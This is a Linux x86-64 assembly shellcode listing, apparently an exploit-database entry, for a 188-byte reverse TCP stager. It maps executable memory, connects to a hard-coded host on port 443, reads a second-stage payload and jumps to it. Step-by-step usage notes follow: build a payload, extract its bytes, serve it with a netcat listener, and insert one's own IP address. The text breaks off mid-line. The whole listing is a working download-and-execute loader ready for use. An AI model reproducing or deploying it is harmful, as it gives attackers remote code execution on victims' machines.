;# Title: Linux/x64 - Reverse TCP Stager Shellcode (188 bytes) ;# Date: 2019-12-16 ;# Author: Lee Mazzoleni ;# Tested on: Ubuntu 18.04.2 LTS ; reverse tcp stager - download and execute up to 4096 bytes of additional payload - no null bytes in this ; this code is 188 bytes total (less if you delete the exit() syscall at the end) global _start section .text _start: ;// =================> ;// HEAP ALLOCATION => ;// =================> xor rax, rax mov al, 6 mov cl, 2 imul ax, cx ;// int brk() xor rdi, rdi syscall ;// brk() xor rax, rax mov al, 2 mov cl, 6 imul ax, cx xor rdi, rdi mov dil, 128 imul di, 32 syscall ;// brk(0x1000) - 4096 bytes xchg rcx, rax ;// save addr of our allocated memory in rcx ;//=======================> ;// MAP HEAP PERMISSIONS => ;//=======================> xor rax, rax mov al, 9 xchg rdi, rcx xor rsi, rsi mov sil, 128 imul si, 32 xor rdx, rdx mov dl, 0x7 xor r10, r10 mov r10b, 0x21 xor r9, r9 mov r8, -1 syscall ;// mmap(addr, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, -1, 0) mov r9, rax ;// save heap address in r9 ;// ===================> ;// SOCKET CONNECTION => ;// ===================> xor rax, rax mov al, 41 ;// int socket() xor rdi, rdi inc rdi inc rdi ;// AF_INET xor rsi, rsi inc rsi ;// SOCK_STREAM xor rdx, rdx mov dl, 6 ;// IPPROTO_TCP syscall ;// socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) push rax pop rdi ;// save the socket's fd in rdi for connect() to use xor rax, rax push rax mov dword [rsp-4], 0x2a37a8c0 ;// 192.168.55.42 mov word [rsp-6], 0xbb01 ;// port 443 in lil' endian sub rsp, 6 push word 0x2 xor rax, rax mov al, 42 ;// int connect() mov rsi, rsp xor rdx, rdx mov dl, 16 syscall ;// connect(3, {sa_family=AF_INET, sin_port=htons(443), sin_addr=inet_addr("192.168.55.42")}, 16) ;// ====================================> ;// READ CODE FROM SOCKET FD INTO HEAP => ;// ====================================> mov rsi, r9 ;// heap addr still saved in r9 xor rdx, rdx mov dl, 41 ;// CHANGE THIS NUMBER TO SUIT THE SIZE OF YOUR PAYLOAD (41-byte payload used in testing) xor rax, rax syscall ;// read(3, heap_addr, SIZE) ;// =================> ;// CLOSE SOCKET FD => ;// =================> xor rax, rax mov al, 3 syscall ;// close(3) jmp r9 ;// jmp to the heap address in r9 and execute the downloaded payload ;// =========> ;// EXIT(0) => this bit is unnecessary if your payload already calls exit() ;// =========> xor rax, rax mov al, 60 xor rdi, rdi syscall ; ===============> ; ===== Usage ===> ; ===============> ; ========================================================================================= ; this program downloads a secondary payload from a remote host, and executes it. ; in this example, the payload used will be a simple hello-world-like program (hello.asm): ; ========================================================================================= ; global _start ; section .text ; _start: ; mov rax, 1 ; mov rdi, 1 ; mov rsi, 0x0a21216f6c6c6548 ; "Hello!!\n" ; push rsi ; mov rsi, rsp ; mov rdx, 8 ; syscall ; mov rax, 60 ; xor rdi, rdi ; syscall ; ========================================================================================= ; 1.) compile your payload: ; ----------------------------------------------------------------------------------------- ; nasm -f elf64 hello.asm -o hello.o && ld hello.o -o hello && rm hello.o ; ========================================================================================= ; 2.) retrieve the opcodes for the payload: ; ----------------------------------------------------------------------------------------- ; objdump -d hello|grep -v '^$\|start>\|file format\|Disassembly'|cut -d' ' -f2-9|sed -E "s/\ [0-9a-f]{6}://g"|grep -Eo '[a-f0-9]{2}'|tr -d '\n' ; echo ; b801000000bf0100000048be48656c6c6f21210a564889e6ba080000000f05b83c0000004831ff0f05 ; ========================================================================================= ; 3.) count how many bytes are in your payload (41 bytes) and update line 86 to reflect this: ; ----------------------------------------------------------------------------------------- ; echo b801000000bf0100000048be48656c6c6f21210a564889e6ba080000000f05b83c0000004831ff0f05|grep -Eo '[a-f0-9]{2}'|wc -l ; 41 ; ========================================================================================= ; 4.) decode the bytes into raw form and serve it via netcat listener: ; ----------------------------------------------------------------------------------------- ; echo -n b801000000bf0100000048be48656c6c6f21210a564889e6ba080000000f05b83c0000004831ff0f05 | xxd -r -p > payload ; nc -lvp 443 < payload ; listening on [any] 443 ... ; ========================================================================================= ; 5.) one last step before compiling this stager, add your own IP address to line 69: ; ----------------------------------------------------------------------------------------- ; import struct, socket ; print(hex(struct.unpack('